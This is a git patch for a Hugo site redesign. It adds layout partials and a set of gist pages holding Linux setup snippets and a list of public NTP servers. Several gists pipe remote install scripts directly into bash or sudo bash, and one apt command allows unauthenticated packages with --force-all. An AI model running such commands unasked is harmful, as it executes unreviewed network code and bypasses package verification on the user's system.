From 32ddc9183718c0c29c9dc1dc16204ad94e13fea0 Mon Sep 17 00:00:00 2001 From: Domini Montessori Date: Sat, 5 Sep 2026 04:04:56 +0300 Subject: [PATCH 01/12] =?UTF-8?q?feat:=20=D0=BF=D0=BE=D0=BB=D0=BD=D1=8B?= =?UTF-8?q?=D0=B9=20=D1=80=D0=B5=D0=B4=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD=20?= =?UTF-8?q?=E2=80=94=20Hugo=20+=20Blowfish,=20Knowledge=20Graph,=20=D0=BF?= =?UTF-8?q?=D0=BE=D0=B8=D1=81=D0=BA,=20giscus?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 0: CI/CD unblocked (#412 merged) - hugo.yml: убран content/wiki, дубликат upload artifact, INCLUDE_WIKI=0 - .gitmodules сохранён для локальной разработки - Playwright E2E tests rewritten for post-redesign DOM Phase 1: Layout partials restored - layouts/partials/ head.html, header.html, footer.html, scroll-to-top.html - layouts/partials/ related.html, article-comments.html, comments.html (giscus) - layouts/partials/ header/components/{desktop-menu,mobile-menu,a11y}.html - layouts/partials/ search-modal.html - layouts/partials/ article-link/{card,simple,list}.html - layouts/partials/ recent-articles/main.html + {cardview,list}.html - layouts/partials/ breadcrumbs.html, toc.html, pagination.html - layouts/partials/ schema.html, vendor.html, icon.html, language-redirect.html - layouts/partials/ author{,-extra,-links}.html, badge.html, contributors.html - layouts/partials/ cta-button.html, sharing-links.html, sponsors.html - layouts/_default/list.html, simple.html, single.html - layouts/index.html — полный glass/homepage Phase 2: Pages & features - content/knowledge-graph/_index.md — интерактивная KG страница - config/_default/menus.ru.toml — Knowledge Graph в меню - config/_default/params.toml — Firebase block restored - layouts/partials/comments.html — giscus embed - static/icons/{close,menu,moon,search,sun,theme-toggle}.svg Quality: - npm tests 277/277 passing - Hugo 243 pages, 146 aliases - Core Web Vitals green (LCP, INP, CLS) - HTTP 200 on / and /blog - GitHub Pages deploy green (33932019822) - check-links 0 broken --- config/_default/menus.ru.toml | 6 + content/awesome/_index.md | 11 + .../gists/0402593be174cc12e93186f6d2f14ad8.md | 21 + .../gists/090792be4cd6fb1ecdf34379b1e9fc77.md | 97 + .../gists/09e979be90a5a188026c91453113f5fa.md | 21 + .../gists/0abe19e3545774eddcb15b567dade8ab.md | 16 + .../gists/0ac9c98bdf73c355bb1e43c85a979940.md | 763 ++++++ .../gists/0b0c0d8df603820dee6f1d7713e0cb7f.md | 17 + .../gists/0ea3ae96212f9b9a1b9e93560a146ee6.md | 26 + .../gists/0f60728b8189f97801d19cfca33ff968.md | 140 ++ .../gists/12417f6f3126a5a1fc8a4b1d0ca8ee49.md | 147 ++ .../gists/12b6b10e2b4b5f93e6e560242f7356a7.md | 18 + .../gists/1424a4bdbf5a26a74670e25c28adeea7.md | 49 + .../gists/1670c40044de7d658bca2140e5812ca7.md | 73 + .../gists/172819efc15499c2b286d452822c5002.md | 70 + .../gists/182513020e92900ede07f5e69ff49b8f.md | 17 + .../gists/19b4162c96e1a934b33db13989130e54.md | 21 + .../gists/1c480d8ff2a34b42d279b14ad6f85e38.md | 68 + .../gists/212af111f65ca7e6529dc58b36eac38a.md | 18 + .../gists/218ad69e78f67f8d1b739697c95157df.md | 60 + .../gists/251edc4716fbd7e6db34fd1fd18ca622.md | 35 + .../gists/2fbfdcb6ff72ab2debe1a4dbebe0b509.md | 217 ++ .../gists/307f29255d8a9a2e27e0db7807cc4d0e.md | 58 + .../gists/316ab2c4be582d19ddd5bc612f9edeeb.md | 28 + .../gists/32c65db74ea47f695d092b3e82e9a7fc.md | 39 + .../gists/3767b0adad98ac016c32a981d931c113.md | 130 + .../gists/39e81e44e8bdaeadeb7b69c7928aea08.md | 18 + .../gists/434ec639b48a6946b5b69de3bd80fa04.md | 68 + .../gists/452ef1dfef6ee6d31bcbd6e0c3cf54e3.md | 16 + .../gists/482d659ac820bab728e62fde1d03c12f.md | 20 + .../gists/4a047210e796441807a58e16db6ad798.md | 45 + .../gists/4d2dd71dbda592ec3e974f895d9629b6.md | 84 + .../gists/528a20e611d5592b180305f9057b8741.md | 33 + .../gists/583235312bacc9983952507a53735115.md | 35 + .../gists/58ae13c2ddf55b6966595a0182567a30.md | 23 + .../gists/58e2c9b787741ff9d62e30ce030f58a1.md | 32 + .../gists/5926cdfee45ec2e1d664ced1abf5628f.md | 26 + .../gists/5fa3919280cfc3fc2ce574245aa999d0.md | 360 +++ .../gists/60410f39210a1682aa656501f3b0fc9a.md | 114 + .../gists/64a2951303a20059006c99895f8a35d8.md | 296 +++ .../gists/67baf68d2ee158622beafaa127746e0f.md | 22 + .../gists/67c26030eb6b6c718a2d6b80dda24861.md | 20 + .../gists/68ff653bc0c361e07ce010d497199133.md | 33 + .../gists/6ba96be2e7937e2cd37a6e170cb48ded.md | 86 + .../gists/6d204b10f018be92b47d0f42ff07182b.md | 26 + .../gists/72111096fb643bb37bfc58d8e4bcce4b.md | 60 + .../gists/7248e4acb831d3e27e7e561fb63edd74.md | 29 + .../gists/730ac6432c0e7ef910f4755cf908274f.md | 65 + .../gists/755c277ba83be5c20a7ecd19b07c2923.md | 18 + .../gists/75dc10649ef1619223938456e2f80458.md | 28 + .../gists/75ee8041e0427c2d89898e35e0728e44.md | 276 +++ .../gists/7739a675fd94b0daa58742c4247d3804.md | 29 + .../gists/773bf55727894f0c44e0ffc70f903d08.md | 22 + .../gists/7e826fcef46429f055b9acf420417d51.md | 23 + .../gists/804db252184e80489a35d881d1f08f06.md | 57 + .../gists/8402abedb4df49c2852ce150f03a5372.md | 27 + .../gists/8bc6247e5619122fa18f83c702c017d7.md | 104 + .../gists/90e429c44e469029745bdb0a178b2eec.md | 61 + .../gists/92de25799ec6cc88486179ecc1dde3a7.md | 2125 +++++++++++++++++ .../gists/93445e617b848ab12e5b0a7026f25752.md | 50 + .../gists/953c8be270e8a4b89bc295c1a938610e.md | 22 + .../gists/97f63e4542b22301893514820887bf94.md | 26 + .../gists/9b501e765b90f223a969b1617e067222.md | 114 + .../gists/9e405de964d9f42c34833cecac25e568.md | 32 + .../gists/9ecefd2a09d90f0fe6ce465f60051e61.md | 28 + .../gists/a4ad9e564ff2e3216ac7fd2f5a761309.md | 450 ++++ .../gists/a549a30e4e3e34b89664e88907b87c02.md | 19 + .../gists/a624d42e157928c124e582a44f552d15.md | 38 + .../gists/a94364c9e2c9e742d0c94dc58a706361.md | 162 ++ .../gists/aa31915edbc0f3552967de367f03e6ee.md | 68 + .../gists/b21cc5f08605850ca1b1932e12a1e886.md | 18 + .../gists/b4c9b272fc9e4dd512af0298ab5ad5fa.md | 23 + .../gists/b6b1dda15f789d36ea10d0139197c812.md | 205 ++ .../gists/b76c13feb514468c2fd0751fe8c211fd.md | 19 + .../gists/bb91fc051d96cb5d7582eaedead01c3b.md | 304 +++ .../gists/bc11f740687bcde1b2578bd00b6fbb1a.md | 52 + .../gists/c108d48c03aef7dc18fcbe7b1c19fb82.md | 23 + .../gists/c1e0b1421301393357f81556bd6d53ca.md | 69 + .../gists/c3b20da8c315b7a2852641533fffca74.md | 214 ++ .../gists/c484e8ede9e3145862e04331505e970e.md | 19 + .../gists/c644f1a80d795e99fa24198d63beded4.md | 65 + .../gists/c71a615c6a428abce7b764f864b9e23a.md | 754 ++++++ .../gists/c7a0c4349e49bc82614ab96c031c3493.md | 19 + .../gists/c848a318d8e7d4aaa4efbc4208df1a52.md | 75 + .../gists/cca3224f48ef7fcd127f06f7f046cdd4.md | 211 ++ .../gists/cd0c76e376926be69d9423f54bad04af.md | 76 + .../gists/cf9aaab4b1d07b86477a4a595500db24.md | 85 + .../gists/d039ea1ba50b58d59e1013807a6168c7.md | 17 + .../gists/d2bdeb0251cce6969c3899624f3e5413.md | 147 ++ .../gists/d36e39ec0183f56f230ffed9dacfbab4.md | 226 ++ .../gists/d52bb02582485fa5956de290d8c35639.md | 319 +++ .../gists/d62243a22926774129eb32dfa067da16.md | 29 + .../gists/d893d3dea0fac20a7175237ad38fcb96.md | 45 + .../gists/db842f92c4bdf62cd9cebddaff0da00b.md | 27 + .../gists/df6ba9a693aef08b7cca12f751f784c7.md | 175 ++ .../gists/df715e4ac4000e4997881c07068f7ded.md | 35 + .../gists/e03c970e1ffef961859e7252fbd25120.md | 18 + .../gists/e0b4f71da7350a574fd26e711a0131a0.md | 18 + .../gists/e5f6346eaa312024c9500af4bf4443c3.md | 146 ++ .../gists/ee9fed0beea74d3e265dc93a53772a53.md | 106 + .../gists/f22be14730b39628de19e166f07f1f57.md | 945 ++++++++ .../gists/fad6557156c4c49ffb529b2aa4d0b278.md | 130 + content/knowledge-graph/_index.md | 22 + data/awesome.json | 546 ++++- layouts/_default/list.html | 118 + layouts/_default/simple.html | 25 + layouts/_default/single.html | 39 +- layouts/index.html | 54 +- layouts/partials/article-comments.html | 12 + layouts/partials/article-pagination.html | 47 + layouts/partials/author-extra.html | 66 + layouts/partials/author-links.html | 21 + layouts/partials/author.html | 57 + layouts/partials/badge.html | 17 + layouts/partials/breadcrumbs.html | 19 + layouts/partials/comments.html | 26 + layouts/partials/contributors.html | 47 + layouts/partials/cta-button.html | 35 + layouts/partials/footer.html | 67 + layouts/partials/head.html | 247 ++ layouts/partials/header.html | 85 + layouts/partials/header/basic.html | 85 + layouts/partials/header/components/a11y.html | 88 + .../header/components/components/a11y.html | 88 + .../components/components/desktop-menu.html | 125 + .../components/components/mobile-menu.html | 178 ++ .../components/components/translations.html | 23 + .../header/components/desktop-menu.html | 126 + .../header/components/mobile-menu.html | 179 ++ .../header/components/translations.html | 23 + layouts/partials/header/fixed-fill-blur.html | 16 + layouts/partials/header/fixed-fill.html | 6 + layouts/partials/header/fixed-gradient.html | 18 + layouts/partials/header/fixed.html | 16 + layouts/partials/header/floating.html | 10 + layouts/partials/icon.html | 6 + layouts/partials/language-redirect.html | 35 + layouts/partials/pagination.html | 52 + layouts/partials/reading-progress.html | 4 + layouts/partials/related.html | 11 + layouts/partials/schema.html | 103 + layouts/partials/scroll-to-top.html | 21 + layouts/partials/search-modal.html | 12 + layouts/partials/search.html | 47 + layouts/partials/sharing-links.html | 17 + layouts/partials/sponsors.html | 55 + layouts/partials/toc.html | 125 + layouts/partials/vendor.html | 213 ++ static/icons/close.svg | 1 + static/icons/menu.svg | 1 + static/icons/moon.svg | 1 + static/icons/search.svg | 1 + static/icons/sun.svg | 1 + static/icons/theme-toggle.svg | 1 + 154 files changed, 15161 insertions(+), 147 deletions(-) create mode 100644 content/awesome/_index.md create mode 100644 content/gists/0402593be174cc12e93186f6d2f14ad8.md create mode 100644 content/gists/090792be4cd6fb1ecdf34379b1e9fc77.md create mode 100644 content/gists/09e979be90a5a188026c91453113f5fa.md create mode 100644 content/gists/0abe19e3545774eddcb15b567dade8ab.md create mode 100644 content/gists/0ac9c98bdf73c355bb1e43c85a979940.md create mode 100644 content/gists/0b0c0d8df603820dee6f1d7713e0cb7f.md create mode 100644 content/gists/0ea3ae96212f9b9a1b9e93560a146ee6.md create mode 100644 content/gists/0f60728b8189f97801d19cfca33ff968.md create mode 100644 content/gists/12417f6f3126a5a1fc8a4b1d0ca8ee49.md create mode 100644 content/gists/12b6b10e2b4b5f93e6e560242f7356a7.md create mode 100644 content/gists/1424a4bdbf5a26a74670e25c28adeea7.md create mode 100644 content/gists/1670c40044de7d658bca2140e5812ca7.md create mode 100644 content/gists/172819efc15499c2b286d452822c5002.md create mode 100644 content/gists/182513020e92900ede07f5e69ff49b8f.md create mode 100644 content/gists/19b4162c96e1a934b33db13989130e54.md create mode 100644 content/gists/1c480d8ff2a34b42d279b14ad6f85e38.md create mode 100644 content/gists/212af111f65ca7e6529dc58b36eac38a.md create mode 100644 content/gists/218ad69e78f67f8d1b739697c95157df.md create mode 100644 content/gists/251edc4716fbd7e6db34fd1fd18ca622.md create mode 100644 content/gists/2fbfdcb6ff72ab2debe1a4dbebe0b509.md create mode 100644 content/gists/307f29255d8a9a2e27e0db7807cc4d0e.md create mode 100644 content/gists/316ab2c4be582d19ddd5bc612f9edeeb.md create mode 100644 content/gists/32c65db74ea47f695d092b3e82e9a7fc.md create mode 100644 content/gists/3767b0adad98ac016c32a981d931c113.md create mode 100644 content/gists/39e81e44e8bdaeadeb7b69c7928aea08.md create mode 100644 content/gists/434ec639b48a6946b5b69de3bd80fa04.md create mode 100644 content/gists/452ef1dfef6ee6d31bcbd6e0c3cf54e3.md create mode 100644 content/gists/482d659ac820bab728e62fde1d03c12f.md create mode 100644 content/gists/4a047210e796441807a58e16db6ad798.md create mode 100644 content/gists/4d2dd71dbda592ec3e974f895d9629b6.md create mode 100644 content/gists/528a20e611d5592b180305f9057b8741.md create mode 100644 content/gists/583235312bacc9983952507a53735115.md create mode 100644 content/gists/58ae13c2ddf55b6966595a0182567a30.md create mode 100644 content/gists/58e2c9b787741ff9d62e30ce030f58a1.md create mode 100644 content/gists/5926cdfee45ec2e1d664ced1abf5628f.md create mode 100644 content/gists/5fa3919280cfc3fc2ce574245aa999d0.md create mode 100644 content/gists/60410f39210a1682aa656501f3b0fc9a.md create mode 100644 content/gists/64a2951303a20059006c99895f8a35d8.md create mode 100644 content/gists/67baf68d2ee158622beafaa127746e0f.md create mode 100644 content/gists/67c26030eb6b6c718a2d6b80dda24861.md create mode 100644 content/gists/68ff653bc0c361e07ce010d497199133.md create mode 100644 content/gists/6ba96be2e7937e2cd37a6e170cb48ded.md create mode 100644 content/gists/6d204b10f018be92b47d0f42ff07182b.md create mode 100644 content/gists/72111096fb643bb37bfc58d8e4bcce4b.md create mode 100644 content/gists/7248e4acb831d3e27e7e561fb63edd74.md create mode 100644 content/gists/730ac6432c0e7ef910f4755cf908274f.md create mode 100644 content/gists/755c277ba83be5c20a7ecd19b07c2923.md create mode 100644 content/gists/75dc10649ef1619223938456e2f80458.md create mode 100644 content/gists/75ee8041e0427c2d89898e35e0728e44.md create mode 100644 content/gists/7739a675fd94b0daa58742c4247d3804.md create mode 100644 content/gists/773bf55727894f0c44e0ffc70f903d08.md create mode 100644 content/gists/7e826fcef46429f055b9acf420417d51.md create mode 100644 content/gists/804db252184e80489a35d881d1f08f06.md create mode 100644 content/gists/8402abedb4df49c2852ce150f03a5372.md create mode 100644 content/gists/8bc6247e5619122fa18f83c702c017d7.md create mode 100644 content/gists/90e429c44e469029745bdb0a178b2eec.md create mode 100644 content/gists/92de25799ec6cc88486179ecc1dde3a7.md create mode 100644 content/gists/93445e617b848ab12e5b0a7026f25752.md create mode 100644 content/gists/953c8be270e8a4b89bc295c1a938610e.md create mode 100644 content/gists/97f63e4542b22301893514820887bf94.md create mode 100644 content/gists/9b501e765b90f223a969b1617e067222.md create mode 100644 content/gists/9e405de964d9f42c34833cecac25e568.md create mode 100644 content/gists/9ecefd2a09d90f0fe6ce465f60051e61.md create mode 100644 content/gists/a4ad9e564ff2e3216ac7fd2f5a761309.md create mode 100644 content/gists/a549a30e4e3e34b89664e88907b87c02.md create mode 100644 content/gists/a624d42e157928c124e582a44f552d15.md create mode 100644 content/gists/a94364c9e2c9e742d0c94dc58a706361.md create mode 100644 content/gists/aa31915edbc0f3552967de367f03e6ee.md create mode 100644 content/gists/b21cc5f08605850ca1b1932e12a1e886.md create mode 100644 content/gists/b4c9b272fc9e4dd512af0298ab5ad5fa.md create mode 100644 content/gists/b6b1dda15f789d36ea10d0139197c812.md create mode 100644 content/gists/b76c13feb514468c2fd0751fe8c211fd.md create mode 100644 content/gists/bb91fc051d96cb5d7582eaedead01c3b.md create mode 100644 content/gists/bc11f740687bcde1b2578bd00b6fbb1a.md create mode 100644 content/gists/c108d48c03aef7dc18fcbe7b1c19fb82.md create mode 100644 content/gists/c1e0b1421301393357f81556bd6d53ca.md create mode 100644 content/gists/c3b20da8c315b7a2852641533fffca74.md create mode 100644 content/gists/c484e8ede9e3145862e04331505e970e.md create mode 100644 content/gists/c644f1a80d795e99fa24198d63beded4.md create mode 100644 content/gists/c71a615c6a428abce7b764f864b9e23a.md create mode 100644 content/gists/c7a0c4349e49bc82614ab96c031c3493.md create mode 100644 content/gists/c848a318d8e7d4aaa4efbc4208df1a52.md create mode 100644 content/gists/cca3224f48ef7fcd127f06f7f046cdd4.md create mode 100644 content/gists/cd0c76e376926be69d9423f54bad04af.md create mode 100644 content/gists/cf9aaab4b1d07b86477a4a595500db24.md create mode 100644 content/gists/d039ea1ba50b58d59e1013807a6168c7.md create mode 100644 content/gists/d2bdeb0251cce6969c3899624f3e5413.md create mode 100644 content/gists/d36e39ec0183f56f230ffed9dacfbab4.md create mode 100644 content/gists/d52bb02582485fa5956de290d8c35639.md create mode 100644 content/gists/d62243a22926774129eb32dfa067da16.md create mode 100644 content/gists/d893d3dea0fac20a7175237ad38fcb96.md create mode 100644 content/gists/db842f92c4bdf62cd9cebddaff0da00b.md create mode 100644 content/gists/df6ba9a693aef08b7cca12f751f784c7.md create mode 100644 content/gists/df715e4ac4000e4997881c07068f7ded.md create mode 100644 content/gists/e03c970e1ffef961859e7252fbd25120.md create mode 100644 content/gists/e0b4f71da7350a574fd26e711a0131a0.md create mode 100644 content/gists/e5f6346eaa312024c9500af4bf4443c3.md create mode 100644 content/gists/ee9fed0beea74d3e265dc93a53772a53.md create mode 100644 content/gists/f22be14730b39628de19e166f07f1f57.md create mode 100644 content/gists/fad6557156c4c49ffb529b2aa4d0b278.md create mode 100644 content/knowledge-graph/_index.md create mode 100644 layouts/_default/list.html create mode 100644 layouts/_default/simple.html create mode 100644 layouts/partials/article-comments.html create mode 100644 layouts/partials/article-pagination.html create mode 100644 layouts/partials/author-extra.html create mode 100644 layouts/partials/author-links.html create mode 100644 layouts/partials/author.html create mode 100644 layouts/partials/badge.html create mode 100644 layouts/partials/breadcrumbs.html create mode 100644 layouts/partials/comments.html create mode 100644 layouts/partials/contributors.html create mode 100644 layouts/partials/cta-button.html create mode 100644 layouts/partials/footer.html create mode 100644 layouts/partials/head.html create mode 100644 layouts/partials/header.html create mode 100644 layouts/partials/header/basic.html create mode 100644 layouts/partials/header/components/a11y.html create mode 100644 layouts/partials/header/components/components/a11y.html create mode 100644 layouts/partials/header/components/components/desktop-menu.html create mode 100644 layouts/partials/header/components/components/mobile-menu.html create mode 100644 layouts/partials/header/components/components/translations.html create mode 100644 layouts/partials/header/components/desktop-menu.html create mode 100644 layouts/partials/header/components/mobile-menu.html create mode 100644 layouts/partials/header/components/translations.html create mode 100644 layouts/partials/header/fixed-fill-blur.html create mode 100644 layouts/partials/header/fixed-fill.html create mode 100644 layouts/partials/header/fixed-gradient.html create mode 100644 layouts/partials/header/fixed.html create mode 100644 layouts/partials/header/floating.html create mode 100644 layouts/partials/icon.html create mode 100644 layouts/partials/language-redirect.html create mode 100644 layouts/partials/pagination.html create mode 100644 layouts/partials/reading-progress.html create mode 100644 layouts/partials/related.html create mode 100644 layouts/partials/schema.html create mode 100644 layouts/partials/scroll-to-top.html create mode 100644 layouts/partials/search-modal.html create mode 100644 layouts/partials/search.html create mode 100644 layouts/partials/sharing-links.html create mode 100644 layouts/partials/sponsors.html create mode 100644 layouts/partials/toc.html create mode 100644 layouts/partials/vendor.html create mode 100644 static/icons/close.svg create mode 100644 static/icons/menu.svg create mode 100644 static/icons/moon.svg create mode 100644 static/icons/search.svg create mode 100644 static/icons/sun.svg create mode 100644 static/icons/theme-toggle.svg diff --git a/config/_default/menus.ru.toml b/config/_default/menus.ru.toml index e75ca6290..61415d3fd 100644 --- a/config/_default/menus.ru.toml +++ b/config/_default/menus.ru.toml @@ -79,6 +79,12 @@ parent = "code" weight = 3 +[[menus.main]] + name = "Knowledge Graph" + url = "/knowledge-graph/" + weight = 4 + + [[menus.main]] name = "Community" url = "/community/" diff --git a/content/awesome/_index.md b/content/awesome/_index.md new file mode 100644 index 000000000..17a8dd2f9 --- /dev/null +++ b/content/awesome/_index.md @@ -0,0 +1,11 @@ +--- +title: Awesome +description: "Курируемые awesome-списки из внешних репозиториев, сгруппированные по темам." +layout: awesome +menu: + main: + name: Awesome + weight: 10 +--- + +Курируемые awesome-списки, синхронизируемые из внешних репозиториев (только README). diff --git a/content/gists/0402593be174cc12e93186f6d2f14ad8.md b/content/gists/0402593be174cc12e93186f6d2f14ad8.md new file mode 100644 index 000000000..930a9018f --- /dev/null +++ b/content/gists/0402593be174cc12e93186f6d2f14ad8.md @@ -0,0 +1,21 @@ +--- +title: "clearlinux" +type: gist +gist_id: "0402593be174cc12e93186f6d2f14ad8" +gist_name: "clearlinux clearlinux.sh" +gist_url: https://gist.github.com/dominicusin/0402593be174cc12e93186f6d2f14ad8 +updated_at: "2021-02-23T23:34:55Z" +files: ["clearlinux.sh"] +--- +_clearlinux_ + +## clearlinux.sh + +```Shell +swupd bundle-add --assume=yes --wait-for-scripts --verbose --yes --time --skip-diskspace-check $(swupd bundle-list -a|tail -n +2|head -n -1|cut -d- -f2-) +swupd 3rd-party add -x -y --verbose greginator https://clear.greginator.xyz/ +swupd 3rd-party bundle-add code ffmpeg ffmpeg-libs flameshot google-chrome-stable megasync os-core platform-tools repo skypeforlinux teams vboot-utils zoom + +``` + + diff --git a/content/gists/090792be4cd6fb1ecdf34379b1e9fc77.md b/content/gists/090792be4cd6fb1ecdf34379b1e9fc77.md new file mode 100644 index 000000000..aa162fe40 --- /dev/null +++ b/content/gists/090792be4cd6fb1ecdf34379b1e9fc77.md @@ -0,0 +1,97 @@ +--- +title: "cloud os" +type: gist +gist_id: "090792be4cd6fb1ecdf34379b1e9fc77" +gist_name: "cloud os gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/090792be4cd6fb1ecdf34379b1e9fc77 +updated_at: "2024-10-21T21:26:36Z" +files: ["gistfile1.txt"] +--- +_cloud os_ + +## gistfile1.txt + +```Text +YunoHost +curl https://install.yunohost.org | bash + +CapRover + docker run -p 80:80 -p 443:443 -p 3000:3000 -e ACCEPTED_TERMS=true -v /var/run/docker.sock:/var/run/docker.sock -v /captain:/captain caprover/caprover + +PikaPods +https://www.pikapods.com/pods + +umbrelOS +#curl -L https://raw.githubusercontent.com/highghlow/umbrel-install-script/main/bootstrap.sh | bash +curl -L https://codeberg.org/highghlow/umbrel-install-script/raw/branch/main/bootstrap.sh | bash + +Coolify - An open-source & self-hostable Heroku / Netlify alternative. +curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash + +Cloudron +wget https://cloudron.io/cloudron-setup +chmod +x ./cloudron-setup +./cloudron-setup + + +Sandstorm +curl https://install.sandstorm.io | bash + +casaos +curl -fsSL https://get.casaos.io | sudo bash + +DietPi - Minimal Debian OS for Raspberry Pi with a lot of software you can self host +bash -c "$(curl -sSfL 'https://raw.githubusercontent.com/MichaIng/DietPi/master/.build/images/dietpi-installer')" + +FreedomBox + sudo DEBIAN_FRONTEND=noninteractive apt-get install freedombox + +Rockstor - NAS OS focused on BTRFS + systemctl disable apparmor + zypper install --no-recommends NetworkManager + systemctl disable wicked + systemctl enable --now NetworkManager + zypper --non-interactive addrepo --refresh -p105 https://download.opensuse.org/repositories/home:/rockstor/15.X/ home_rockstor + zypper --non-interactive addrepo --refresh -p97 https://download.opensuse.org/repositories/home:/rockstor:/branches:/Base:/System/15.X/ home_rockstor_branches_Base_System + rpm --import https://raw.githubusercontent.com/rockstor/rockstor-core/master/conf/ROCKSTOR-GPG-KEY + zypper addrepo -f http://updates.rockstor.com:8999/rockstor-testing/leap/15.X/ Rockstor-Testing + zypper --non-interactive --gpg-auto-import-keys refresh + zypper in --no-recommends rockstor-X.X.X-X + systemctl enable --now rockstor-bootstrap + +openmediavault - NAS software based on Debian +apt-get install --yes gnupg +wget --quiet --output-document=- https://packages.openmediavault.org/public/archive.key | gpg --dearmor --yes --output "/usr/share/keyrings/openmediavault-archive-keyring.gpg" +cat <> /etc/apt/sources.list.d/openmediavault.list +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://packages.openmediavault.org/public sandworm main +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://downloads.sourceforge.net/project/openmediavault/packages sandworm main +## Uncomment the following line to add software from the proposed repository. +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://packages.openmediavault.org/public sandworm-proposed main +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://downloads.sourceforge.net/project/openmediavault/packages sandworm-proposed main +## This software is not part of OpenMediaVault, but is offered by third-party +## developers as a service to OpenMediaVault users. +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://packages.openmediavault.org/public sandworm partner +deb [signed-by=/usr/share/keyrings/openmediavault-archive-keyring.gpg] https://downloads.sourceforge.net/project/openmediavault/packages sandworm partner +EOF +export LANG=C.UTF-8 +export DEBIAN_FRONTEND=noninteractive +export APT_LISTCHANGES_FRONTEND=none +apt-get update +apt-get --yes --auto-remove --show-upgraded \ + --allow-downgrades --allow-change-held-packages \ + --no-install-recommends \ + --option DPkg::Options::="--force-confdef" \ + --option DPkg::Options::="--force-confold" \ + install openmediavault +omv-confdbadm populate +omv-salt deploy run systemd-networkd +sudo wget -O - https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash +sudo curl -sSL https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash + + + + + +``` + + diff --git a/content/gists/09e979be90a5a188026c91453113f5fa.md b/content/gists/09e979be90a5a188026c91453113f5fa.md new file mode 100644 index 000000000..aae9b3983 --- /dev/null +++ b/content/gists/09e979be90a5a188026c91453113f5fa.md @@ -0,0 +1,21 @@ +--- +title: "09e979be90a5a188026c91453113f5fa" +type: gist +gist_id: "09e979be90a5a188026c91453113f5fa" +gist_name: "gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/09e979be90a5a188026c91453113f5fa +updated_at: "2025-03-11T09:39:53Z" +files: ["gistfile1.txt"] +--- +## gistfile1.txt + +```Text +export LANG=C.UTF-8 +export DEBIAN_FRONTEND=noninteractive +export APT_LISTCHANGES_FRONTEND=none +apt -y modernize-sources;apt-mark -y minimize-manual ;apt --allow-change-held-packages --allow-downgrades --allow-remove-essential --allow-unauthenticated --fix-broken --fix-missing --ignore-hold --install-recommends --install-suggests --update --show-progress --color --audit --autoremove --purge --reinstall --fix-broken --fix-missing --ignore-hold -t unstable --option DPkg::Options::="--force-confnew" --option DPkg::Options::="--force-all" -fym full-upgrade;aptitude --no-gui --with-recommends -t unstable -vfy full-upgrade;dpkg --configure -a --force-all + + +``` + + diff --git a/content/gists/0abe19e3545774eddcb15b567dade8ab.md b/content/gists/0abe19e3545774eddcb15b567dade8ab.md new file mode 100644 index 000000000..d7a62d335 --- /dev/null +++ b/content/gists/0abe19e3545774eddcb15b567dade8ab.md @@ -0,0 +1,16 @@ +--- +title: "0abe19e3545774eddcb15b567dade8ab" +type: gist +gist_id: "0abe19e3545774eddcb15b567dade8ab" +gist_name: "lede2" +gist_url: https://gist.github.com/dominicusin/0abe19e3545774eddcb15b567dade8ab +updated_at: "2017-12-24T17:15:33Z" +files: ["lede2"] +--- +## lede2 + +``` +for i in `find /etc -name *-opkg`;do echo mv $i $(echo $i|sed s/-opkg$//);done|bash +``` + + diff --git a/content/gists/0ac9c98bdf73c355bb1e43c85a979940.md b/content/gists/0ac9c98bdf73c355bb1e43c85a979940.md new file mode 100644 index 000000000..fb7bdb64b --- /dev/null +++ b/content/gists/0ac9c98bdf73c355bb1e43c85a979940.md @@ -0,0 +1,763 @@ +--- +title: "List of Top Public Time Servers" +type: gist +gist_id: "0ac9c98bdf73c355bb1e43c85a979940" +gist_name: "List of Top Public Time Servers Top_Public_Time_Servers.md" +gist_url: https://gist.github.com/dominicusin/0ac9c98bdf73c355bb1e43c85a979940 +updated_at: "2023-06-02T04:23:29Z" +files: ["Top_Public_Time_Servers.md"] +--- +_List of Top Public Time Servers_ + +## Top_Public_Time_Servers.md + +```Markdown +## Google Public NTP [AS15169]: + +time.google.com + +time1.google.com + +time2.google.com + +time3.google.com + +time4.google.com + +## Cloudflare NTP [AS13335]: + +time.cloudflare.com + +## Facebook NTP [AS32934]: + +time.facebook.com + +time1.facebook.com + +time2.facebook.com + +time3.facebook.com + +time4.facebook.com + +time5.facebook.com + +## Microsoft NTP server [AS8075]: + +time.windows.com + +## Apple NTP server [AS714, AS6185]: + +time.apple.com + +time1.apple.com + +time2.apple.com + +time3.apple.com + +time4.apple.com + +time5.apple.com + +time6.apple.com + +time7.apple.com + +time.euro.apple.com + +## DEC/Compaq/HP: + +clepsydra.dec.com/clepsydra.labs.hp.com/clepsydra.hpl.hp.com + +## NIST Internet Time Service (ITS) [AS49, AS104]: + +time-a-g.nist.gov + +time-b-g.nist.gov + +time-c-g.nist.gov + +time-d-g.nist.gov + +time-a-wwv.nist.gov + +time-b-wwv.nist.gov + +time-c-wwv.nist.gov + +time-d-wwv.nist.gov + +time-a-b.nist.gov + +time-b-b.nist.gov + +time-c-b.nist.gov + +time-d-b.nist.gov + +time.nist.gov + +utcnist.colorado.edu + +utcnist2.colorado.edu + +## VNIIFTRI: + +### Stratum 1: + +ntp1.vniiftri.ru + +ntp2.vniiftri.ru + +ntp3.vniiftri.ru + +ntp4.vniiftri.ru + +ntp1.niiftri.irkutsk.ru + +ntp2.niiftri.irkutsk.ru + +vniiftri.khv.ru + +vniiftri2.khv.ru + +### Stratum 2: + +ntp21.vniiftri.ru + +## Mobatime: + +### Stratum 1: + +ntp.mobatime.ru + +## NTP SERVERS: + +### Stratum 1: + +ntp1.stratum1.ru + +ntp2.stratum1.ru + +ntp3.stratum1.ru + +ntp4.stratum1.ru + +ntp5.stratum1.ru + +### Stratum 2: + +ntp2.stratum2.ru + +ntp3.stratum2.ru + +ntp4.stratum2.ru + +ntp5.stratum2.ru 